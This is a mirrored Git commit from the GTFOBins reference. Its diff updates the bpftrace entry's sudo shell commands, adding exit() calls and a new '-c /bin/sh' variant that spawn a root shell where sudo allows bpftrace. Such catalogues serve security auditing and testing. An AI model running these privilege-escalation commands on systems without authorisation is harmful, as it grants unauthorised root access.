mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Improve bpftrace sudo shell
This commit is contained in:
parent
6b4c7c12c9
commit
1f9dbbf6eb
@ -1,9 +1,10 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
sudo:
|
sudo:
|
||||||
- code: sudo bpftrace -e 'BEGIN {system("/bin/sh")}'
|
- code: sudo bpftrace -e 'BEGIN {system("/bin/sh");exit()}'
|
||||||
- code: |
|
- code: |
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo 'BEGIN {system("/bin/sh")}' >$TF
|
echo 'BEGIN {system("/bin/sh");exit()}' >$TF
|
||||||
sudo bpftrace $TF
|
sudo bpftrace $TF
|
||||||
|
- code: sudo bpftrace -c /bin/sh -e 'END {exit()}'
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user